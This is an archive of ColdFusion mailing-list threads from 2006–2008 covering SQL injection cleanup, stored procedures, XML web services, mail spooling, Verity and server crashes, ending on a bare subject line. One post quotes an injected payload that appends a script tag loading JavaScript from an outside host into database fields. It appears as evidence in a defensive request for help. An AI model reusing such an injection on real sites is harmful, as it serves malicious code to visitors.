Thanks for the code, I'm in the processing of cleaning all the query calls for my client and been seeing lots of posts regarding this sql injection. There are a couple thousand queries that I have to clean up but while I'm in the process of cleaning they're getting injected over and over and over!! So I did something similar to this, not as in depth, but I added some logic to application.cfm to check cgi.query_string for parts of the injection script. What I'm wondering is a the pros and cons of doing it this way. Does it slow down the app checking for this on every page hit? Or do it the old fashion way and clean up all the queries. Thoughts? -Original Message- From: Justin Scott [mailto:[EMAIL PROTECTED] Sent: Thursday, August 07, 2008 10:36 AM To: CF-Talk Subject: Re: HELP! SQL Injection Attack! And yes, I'd like to see the URL loop script that was offered by Justin Scott I've had many requests for the SQL injection prevention script, so I'm just going to post a URL directly to the code and release it into the public domain for anyone interested: http://www.gravityfree.com/_sqlprev.cfm.txt -Justin Scott ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310415 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
cfprocparam order
I've noticed this for a while but was curious to see if anybody else has... the variable name doesn't matter when calling a stored procedure, all that matters is the order of the procparams. I thought this needed to match the stored procedure's variable names. Is this a bug? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310232 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cfprocparam order
So if and when it gets fixed, all the mismatched (typos) variables will break?? -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED] Sent: Tuesday, August 05, 2008 10:15 AM To: CF-Talk Subject: RE: cfprocparam order I've noticed this for a while but was curious to see if anybody else has... the variable name doesn't matter when calling a stored procedure, all that matters is the order of the procparams. I thought this needed to match the stored procedure's variable names. Is this a bug? No, it's a known issue. The DBVARNAME attribute worked in CF 5, but no longer works with CFMX or higher. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310235 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
cfdump xml doc hanging server
I'm trying to dump a xml file but it's killing the server... ideas? cfhttp url=http://www.wng.com/test/test.xml; method=GET cfset xmlfile = xmlparse(cfhttp.filecontent) cfset xmlContent = XMLParse(xmlfile) cfdump var=#xmlContent# If I put a cfabort above the dump the page doesn't hang. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310018 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cfdump xml doc hanging server
Thanks Dominic! -Original Message- From: Dominic Watson [mailto:[EMAIL PROTECTED] Sent: Thursday, July 31, 2008 1:06 PM To: CF-Talk Subject: Re: cfdump xml doc hanging server cfset xmlfile = xmlparse(cfhttp.filecontent) cfset xmlContent = XMLParse(xmlfile) Firstly, that second xmlParse appears to be redundant. You are just parsing an already parsed xml doc. Try: cfset xmlContent = XmlParse(cfhttp.filecontent) cfdump var=#xmlContent# Secondly, that's 321 KB of xml that page is spitting out - dumping that is going to cause most servers a serious headache. If you are just dumping to test, try something like this instead (getting a small portion of the xml and dumping it): cfset xmlContent = XmlParse(cfhttp.filecontent) cfset xpathResults = XmlSearch(xmlContent, '//[EMAIL PROTECTED]12972]') cfdump var=#xpathResults# It may still take a while but hopefully it will give you a result because the cfdump isn't having to dump out such a huge load (view the source of a page with a cfdump to appreciate the extra volume of data being spat out) . HTH Dominic -- Blog it up: http://fusion.dominicwatson.co.uk ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310037 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
cfquery and cfstoredproc
i have been asked to look at a possible sql injection attack. as I look through the code I see stored procs being called by using cfquery like: cfquery name=asdf datasource=asdf storedproc '#var1#', '#var2#' cfquery I've read about using cfstored procs and params to prevent attacks. I've read that using cfquery and doing inline queries can cause injection attacks but I wasn't sure about using cfquery and calling a stored proc through it. Can somebody please confirm? Thanks! Tim ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309477 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: cfquery and cfstoredproc
So I'm hearing that it should be fine?? Somehow their database columns values were appended the following string : /titleInvalidTag src=http://1.verynx.cn/w.js;/script!-- So for example the column firstname value was John became: John/titleInvalidTag src=http://1.verynx.cn/w.js;/script!-- What else could have caused this? Like you said the parameters are in single quotes and the data type is varchar so it must have a single quote in order to work. I'm confused... -Original Message- From: Mark Kruger [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 22, 2008 3:52 PM To: CF-Talk Subject: RE: cfquery and cfstoredproc Dave, What about a semi-colon? Storedproc '#var1#','#var2#' ; *other code* Would the CFQUERY not allow this additional code to run? -Mark Mark A. Kruger, CFG, MCSE (402) 408-3733 ext 105 www.cfwebtools.com www.coldfusionmuse.com www.necfug.com -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 22, 2008 5:50 PM To: CF-Talk Subject: RE: cfquery and cfstoredproc i have been asked to look at a possible sql injection attack. as I look through the code I see stored procs being called by using cfquery like: cfquery name=asdf datasource=asdf storedproc '#var1#', '#var2#' cfquery I've read about using cfstored procs and params to prevent attacks. I've read that using cfquery and doing inline queries can cause injection attacks but I wasn't sure about using cfquery and calling a stored proc through it. Can somebody please confirm? Yes you are vulnerable if you do not sanitize the inputs. Actually, generally you won't be vulnerable here. You're calling a stored procedure, which is going to take your inputs and stick them in input parameters. As long as you're not executing strings directly in your stored procedure (using EXEC, EXECUTE, sp_executesql, etc) you'll be fine. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309494 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
scheduled jobs running again after restart
I've been having a problem with the scheduled jobs since yesterday. I have various jobs set up at different times of the day. Yesterday when we restarted the cf server, a couple of the jobs that fired off 2-3 hrs before ran again (jobs fully completed, emails sent and in the scheduler log)?! We restarted it twice during the day due to some issues and both times a few jobs fired out again. Any ideas?? Thanks! Tim ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:305339 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
An error occured while Parsing an XML document
Hi All, I'm trying to pass xml into a webservice but I'm getting an An error occured while Parsing an XML document error. I'm using toXML to convert a query result set into xml and passing it to the webservice. I'm not sure whether it's the cfinvoke that is choking or is it the cfc that is choking. I think it's the cfinvoke because on the cfc I took out all the logic. Here is my code: cfquery name=tenants datasource=voyager SELECT scode,slastname,sfirstName,saddr1,saddr2,scity,sstate,szipcode FROM voyager.dbo.tenant WHERE (SLASTNAME = 'smith') AND (HPROPERTY = 141) /cfquery cfset toXML = createObject(component, toXML) cfset XMLtenant = toXML.queryToXML(tenants, tenantList, tenant) cfset mydoc = XmlParse(#XMLtenant#) cfdump var=#mydoc# cfinvoke webservice=http://insite/yardi/insurance/voyager/rentersInsNightlyUpdat e.cfc?wsdl returnvariable=XMLtenant method=putTenants cfinvokeargument name=tenantsXML value=#XMLtenant#) /cfinvoke cfdump var=#XMLtenant# Here is my cfc: cfcomponent displayname=TenantInsUpdate cffunction name=putTenants returntype=XML access=remote cfargument name=tenantsXML required=true type=string default=/ !--- Create and populate Object --- cfset tenantCfc = success! cfreturn tenantCfc /cffunction /cfcomponent ~| ColdFusion 8 - Build next generation apps today, with easy PDF and Ajax features - download now http://download.macromedia.com/pub/labs/coldfusion/cf8_beta_whatsnew_052907.pdf Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:291284 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: An error occured while Parsing an XML document
You know what's weird... I tried return type as string it gave me this error: when i change it to string i get: faultString: org.xml.sax.SAXException: Bad types (class java.lang.String - interface org.w3c.dom.Document) but when I changed to to any it worked fine. And now when I change it back string it still works. Wtf?! Thanks! -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, October 16, 2007 2:48 PM To: CF-Talk Subject: Re: An error occured while Parsing an XML document I'm trying to pass xml into a webservice but I'm getting an An error occured while Parsing an XML document error. Tim - I think there is a problem, in that you are setting your cffunction putTenants returntype to XML, but you're returning a plain string success!. That string will not validate as XML. -- Josh - Original Message - From: Tim Do [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, October 16, 2007 2:27 PM Subject: An error occured while Parsing an XML document Hi All, I'm trying to pass xml into a webservice but I'm getting an An error occured while Parsing an XML document error. I'm using toXML to convert a query result set into xml and passing it to the webservice. I'm not sure whether it's the cfinvoke that is choking or is it the cfc that is choking. I think it's the cfinvoke because on the cfc I took out all the logic. Here is my code: cfquery name=tenants datasource=voyager SELECT scode,slastname,sfirstName,saddr1,saddr2,scity,sstate,szipcode FROM voyager.dbo.tenant WHERE (SLASTNAME = 'smith') AND (HPROPERTY = 141) /cfquery cfset toXML = createObject(component, toXML) cfset XMLtenant = toXML.queryToXML(tenants, tenantList, tenant) cfset mydoc = XmlParse(#XMLtenant#) cfdump var=#mydoc# cfinvoke webservice=http://insite/yardi/insurance/voyager/rentersInsNightlyUpdat e.cfc?wsdl returnvariable=XMLtenant method=putTenants cfinvokeargument name=tenantsXML value=#XMLtenant#) /cfinvoke cfdump var=#XMLtenant# Here is my cfc: cfcomponent displayname=TenantInsUpdate cffunction name=putTenants returntype=XML access=remote cfargument name=tenantsXML required=true type=string default=/ !--- Create and populate Object --- cfset tenantCfc = success! cfreturn tenantCfc /cffunction /cfcomponent ~| Get the answers you are looking for on the ColdFusion Labs Forum direct from active programmers and developers. http://www.adobe.com/cfusion/webforums/forum/categories.cfm?forumid-72catid=648 Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:291288 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: An error occured while Parsing an XML document
second part to my question... i pass xml to the cfc (verified that it is xml by using isxml) once it gets to my cfc I do a isxml() and it says NO?! I tried using cfxml and xmlformat to try to get it back to xml but not having any luck. i need it in xml to parse out and dump into a table. Please help! Thanks, tim -Original Message- From: Tim Do [mailto:[EMAIL PROTECTED] Sent: Tuesday, October 16, 2007 2:56 PM To: CF-Talk Subject: RE: An error occured while Parsing an XML document You know what's weird... I tried return type as string it gave me this error: when i change it to string i get: faultString: org.xml.sax.SAXException: Bad types (class java.lang.String - interface org.w3c.dom.Document) but when I changed to to any it worked fine. And now when I change it back string it still works. Wtf?! Thanks! -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, October 16, 2007 2:48 PM To: CF-Talk Subject: Re: An error occured while Parsing an XML document I'm trying to pass xml into a webservice but I'm getting an An error occured while Parsing an XML document error. Tim - I think there is a problem, in that you are setting your cffunction putTenants returntype to XML, but you're returning a plain string success!. That string will not validate as XML. -- Josh - Original Message - From: Tim Do [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, October 16, 2007 2:27 PM Subject: An error occured while Parsing an XML document Hi All, I'm trying to pass xml into a webservice but I'm getting an An error occured while Parsing an XML document error. I'm using toXML to convert a query result set into xml and passing it to the webservice. I'm not sure whether it's the cfinvoke that is choking or is it the cfc that is choking. I think it's the cfinvoke because on the cfc I took out all the logic. Here is my code: cfquery name=tenants datasource=voyager SELECT scode,slastname,sfirstName,saddr1,saddr2,scity,sstate,szipcode FROM voyager.dbo.tenant WHERE (SLASTNAME = 'smith') AND (HPROPERTY = 141) /cfquery cfset toXML = createObject(component, toXML) cfset XMLtenant = toXML.queryToXML(tenants, tenantList, tenant) cfset mydoc = XmlParse(#XMLtenant#) cfdump var=#mydoc# cfinvoke webservice=http://insite/yardi/insurance/voyager/rentersInsNightlyUpdat e.cfc?wsdl returnvariable=XMLtenant method=putTenants cfinvokeargument name=tenantsXML value=#XMLtenant#) /cfinvoke cfdump var=#XMLtenant# Here is my cfc: cfcomponent displayname=TenantInsUpdate cffunction name=putTenants returntype=XML access=remote cfargument name=tenantsXML required=true type=string default=/ !--- Create and populate Object --- cfset tenantCfc = success! cfreturn tenantCfc /cffunction /cfcomponent ~| Enterprise web applications, build robust, secure scalable apps today - Try it now ColdFusion Today ColdFusion 8 beta - Build next generation apps Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:291292 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
ColdFusion stopped?!?!
PLEASE help! Ever since 8am this morning ColdFusion has gone down every few minutes. The only thing that I can see in the server.log is: Information,Thread-0,10/10/07,09:34:45,,ColdFusion stopped I've checked all the log files under cfusionmx7/logs and cfusionmx7/runtime/logs but didn't see anything that stands out. Any ideas of what to do? Thanks! Tim ~| Create robust enterprise, web RIAs. Upgrade to ColdFusion 8 and integrate with Adobe Flex http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJP Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:290784 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
cfmail stuck in spool
Anybody know why this happens every once in a while? Using cfmx 7.01 and exchange. Last couple weeks I've noticed that mail stops going out and just sits in the spool folder. Once I restart cf services they all go out at once. Been happening more often lately so I'm getting a little worried. Thanks, Tim ~| ColdFusion is delivering applications solutions at at top companies around the world in government. Find out how and where now http://www.adobe.com/cfusion/showcase/index.cfm?event=finderproductID=1522loc=en_us Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:290223 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cfmail stuck in spool
Thanks for the link...Yes this explains why it happens but is there a way around it? Waiting for clients to call and complain about mail not going out and restarting services doesn't seem like a real solution. Anybody else having this problem? I also checked the files and none were 0bytes. -Original Message- From: Cutter (CFRelated) [mailto:[EMAIL PROTECTED] Sent: Thursday, October 04, 2007 1:11 PM To: CF-Talk Subject: Re: cfmail stuck in spool See if this helps any: http://blog.cutterscrossing.com/index.cfm/2006/12/10/ColdFusion-Mail-Spo ol-Lock Steve Cutter Blades Adobe Certified Professional Advanced Macromedia ColdFusion MX 7 Developer _ http://blog.cutterscrossing.com Tim Do wrote: Anybody know why this happens every once in a while? Using cfmx 7.01 and exchange. Last couple weeks I've noticed that mail stops going out and just sits in the spool folder. Once I restart cf services they all go out at once. Been happening more often lately so I'm getting a little worried. Thanks, Tim ~| Check out the new features and enhancements in the latest product release - download the What's New PDF now http://download.macromedia.com/pub/labs/coldfusion/cf8_beta_whatsnew_052907.pdf Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:290235 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cf webservice not working for .net?
Yes, it was returnType=xml -Original Message- From: James Holmes [mailto:[EMAIL PROTECTED] Sent: Wednesday, September 26, 2007 7:42 PM To: CF-Talk Subject: Re: cf webservice not working for .net? What was the previous value of the returntype? On 9/27/07, Tim Do [EMAIL PROTECTED] wrote: Just figured out that if I use returntype=string in the cffunction then it works in .net. Anybody know why .net doesn't know how to interpret xml that cf generates?? -- mxAjax / CFAjax docs and other useful articles: http://www.bifrost.com.au/blog/ ~| Get the answers you are looking for on the ColdFusion Labs Forum direct from active programmers and developers. http://www.adobe.com/cfusion/webforums/forum/categories.cfm?forumid-72catid=648 Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:289659 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
cf webservice not working for .net?
Third party company is telling me they're getting this error when accessing my web service: c:\inetpub\wwwroot\propertyWS\Web References\WebReference\Reference.map(1): Custom tool error: Unable to import WebService/Schema. Unable to import binding 'tenant.cfcSoapBinding' from namespace 'http://voyager.insurance.yardi'. Unable to import operation 'getTenant'. The datatype 'Document' is missing. He can hit the wsdl but when he tries in vs 2003 and 2005 he can't reference it. Is the wsdl that cf creates not compatible w/ .net? Any ideas? Thanks, Tim ~| Enterprise web applications, build robust, secure scalable apps today - Try it now ColdFusion Today ColdFusion 8 beta - Build next generation apps Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:289535 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: cf webservice not working for .net?
Just figured out that if I use returntype=string in the cffunction then it works in .net. Anybody know why .net doesn't know how to interpret xml that cf generates?? -Original Message- From: Tim Do [mailto:[EMAIL PROTECTED] Sent: Wednesday, September 26, 2007 12:23 PM To: CF-Talk Subject: cf webservice not working for .net? Third party company is telling me they're getting this error when accessing my web service: c:\inetpub\wwwroot\propertyWS\Web References\WebReference\Reference.map(1): Custom tool error: Unable to import WebService/Schema. Unable to import binding 'tenant.cfcSoapBinding' from namespace 'http://voyager.insurance.yardi'. Unable to import operation 'getTenant'. The datatype 'Document' is missing. He can hit the wsdl but when he tries in vs 2003 and 2005 he can't reference it. Is the wsdl that cf creates not compatible w/ .net? Any ideas? Thanks, Tim ~| Enterprise web applications, build robust, secure scalable apps today - Try it now ColdFusion Today ColdFusion 8 beta - Build next generation apps Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:289568 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
trigger to send xml via http to web service?
We have sql 2000 here and unfortunately I've read that you can do more w/ xml in 05'. I'm trying to send xml via http from the newly inserted record to an outside web service. Any ideas on how I should go about doing this? Thanks, Tim ~| ColdFusion is delivering applications solutions at at top companies around the world in government. Find out how and where now http://www.adobe.com/cfusion/showcase/index.cfm?event=finderproductID=1522loc=en_us Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:288312 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
OT: sql not in
how do I return values from tbl1 where values are NOT in tbl2. tbl1 a,b,c,d tbl2 a,b,c,d only a is passed in. b,c,d are unique. tbls do not have identity fields. thanks, tim ~| Enterprise web applications, build robust, secure scalable apps today - Try it now ColdFusion Today ColdFusion 8 beta - Build next generation apps Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:285866 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: sql not in
correction... tbl1 b,c,d -Original Message- From: Tim Do [mailto:[EMAIL PROTECTED] Sent: Thursday, August 09, 2007 11:37 AM To: CF-Talk Subject: OT: sql not in how do I return values from tbl1 where values are NOT in tbl2. tbl1 a,b,c,d tbl2 a,b,c,d only a is passed in. b,c,d are unique. tbls do not have identity fields. thanks, tim ~| ColdFusion is delivering applications solutions at at top companies around the world in government. Find out how and where now http://www.adobe.com/cfusion/showcase/index.cfm?event=finderproductID=1522loc=en_us Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:285870 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: sql not in
Thanks, I was able to figure it out... just a left outer join and checking for nulls that are returned from the left outer. Thanks for looking! -Original Message- From: Brian Kotek [mailto:[EMAIL PROTECTED] Sent: Thursday, August 09, 2007 3:42 PM To: CF-Talk Subject: Re: sql not in You can also use WHERE NOT EXISTS. I'd try to write an example for you but I don't really understand what you're trying to do aside from the fact that you want to select something from table 1 when it doesn't exist in table 2. Are a,b,c,d column names? Data values? The way you described this is too abstract. A more concrete example would be more helpful. Regards, Brian On 8/9/07, Peterson, Chris [EMAIL PROTECTED] wrote: SELECT A,b,c,d FROM tbl1 WHERE A NOT IN (SELECT distinct A from tbl2) Or you could: SELECT A.a, A.b, A.c, A.d FROM tbl1 A EXCEPTION JOIN tbl2 B ON A.a = B.a This would return any non-matching records where tbl1.A has no matching tbl2.A Chris Peterson Gainey IT Adobe Certified Advanced Coldfusion Developer -Original Message- From: Tim Do [mailto:[EMAIL PROTECTED] Sent: Thursday, August 09, 2007 2:37 PM To: CF-Talk Subject: OT: sql not in how do I return values from tbl1 where values are NOT in tbl2. tbl1 a,b,c,d tbl2 a,b,c,d only a is passed in. b,c,d are unique. tbls do not have identity fields. thanks, tim ~| Create robust enterprise, web RIAs. Upgrade to ColdFusion 8 and integrate with Adobe Flex http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJP Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:285928 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
OT: sql question
I have a stored procedure that is taking 15-20 seconds to run. However, if I take the query inside the stored procedure and run it... it only takes 2-3 seconds. I've read something about parameter sniffing but not sure if it applies to my stored procedure. Here is my sp: CREATE PROC dbo.get_vendorActivityPeriod ( @periodMonth integer , @periodYear integer , @propertyID varchar(6) = NULL ) as Begin select count(*) countVoucherHeader , month(dateadd(day, A.date_posted-693596, '1 Jan 1900')) periodMonth , year(dateadd(day, A.date_posted-693596, '1 Jan 1900')) periodYear , A.vendor_code , (select top 1 address_name from apmaster where vendor_code = A.vendor_code order by address_type, pay_to_code) address_name , sum(amt_gross) as amountGross , case when @propertyID IS NULL then '' else @propertyID end propertyID , case when @propertyID IS NULL then 'All Communities' else (select distinct display_name from property.dbo.complex where display_num = @propertyID) end propertyDescription from apvohdr A where month(dateadd(day, A.date_posted-693596, '1 Jan 1900')) = @periodMonth and year(dateadd(day, A.date_posted-693596, '1 Jan 1900')) = @periodYear and A.posting_code = IsNull(@propertyID, A.posting_code) group by month(dateadd(day, A.date_posted-693596, '1 Jan 1900')) , year(dateadd(day, A.date_posted-693596, '1 Jan 1900')) , vendor_code order by year(dateadd(day, A.date_posted-693596, '1 Jan 1900')) , month(dateadd(day, A.date_posted-693596, '1 Jan 1900')) , address_name end thanks! ~| Upgrade to Adobe ColdFusion MX7 Experience Flex 2 MX7 integration create powerful cross-platform RIAs http:http://ad.doubleclick.net/clk;56760587;14748456;a?http://www.adobe.com/products/coldfusion/flex2/?sdid=LVNU Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:268343 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: report builder
Nobody knows what the future holds for this product?? -Original Message- From: Andrew Scott [mailto:[EMAIL PROTECTED] Sent: Tuesday, November 21, 2006 8:44 PM To: CF-Talk Subject: Re: report builder I prefer cyrstal reports over the report builder, only because I can do more in CR that is not possible in CF's RB. But not everyone can afford that budget, I have never had many problems with CF RB only a few display issues that are easy enough to get around. On 11/22/06, Stephen Cassady [EMAIL PROTECTED] wrote: I would be very interested in hearing any solutions to this. I've just picked up a client that needs a way to build their own reports from SQL, and I thought the report builder may be the first step (instead of going Crystal Reports, or linking Access to the SQL database and build things in that). Stephen Cassady Subject: report builder From: Tim Do Date: Tue, 21 Nov 2006 14:10:31 -0800 We have several reports written with the report builder that are no longer working because some users are upgrading to ie7 (comes up w/ blank page). Does anybody know if there is a work around or do we have to install additional software for ie7? The reports still work using ie6/ff. Also, does anybody know what is going on w/ the report builder? I didn't hear a thing about it at MAX. Thanks, Tim ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:261468 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Verity returns nothing
I've had the verity search working for quite a while now. All of a sudden it has stopped working... only thing I can think of us we installed the updater2?? I've deleted and recreated the verity.. updated it and it shows over 3400 documents. The search still returns nothing. I looked in the verity folder (folder sits under the folder that I specified when creating the verity) and looked at the sysinfo.log file and saw this error: Could not create charset macintosh Tue Oct 17 10:20:24 2006 msg(1): Error E0-1218 (Language): Unable to access charset 'macintosh' to find the charset mapping to '1252' Any ideas on where I should be troubleshooting? Thanks! Tim ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:257060 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Cfadmin getAdminHash error after updater2
I can get to the login screen but anything after that blows up. Saw some posts about possibly having the cfide folder in a diff location than in IIS but both point to C:\Inetpub\wwwroot\CFIDE. Please help! The selected method getAdminHash was not found. Either there are no methods with the specified method name and argument types, or the method getAdminHash is overloaded with arguments types that ColdFusion can't decipher reliably. If this is a Java object and you verified that the method exists, you may need to use the javacast function to reduce ambiguity. The error occurred in administrator.cfc: line 29 -1 : Unable to display error's location in a CFML template. ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:256353 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Faulting application jrun.exe error
I have been getting this error for the past 3 days. It'll only come up after a reboot. Can anybody tell me what is going on?! The only thing that I can think of that has changed is I added more memory to the server. Faulting application jrun.exe, version 4.0.3.19147, faulting module jvm.dll, version 1.4.2.50, fault address 0x0015b25b. I've seen a couple posts on this issue but no solutions?! Thanks, Tim ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:255546 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Cfdocument question
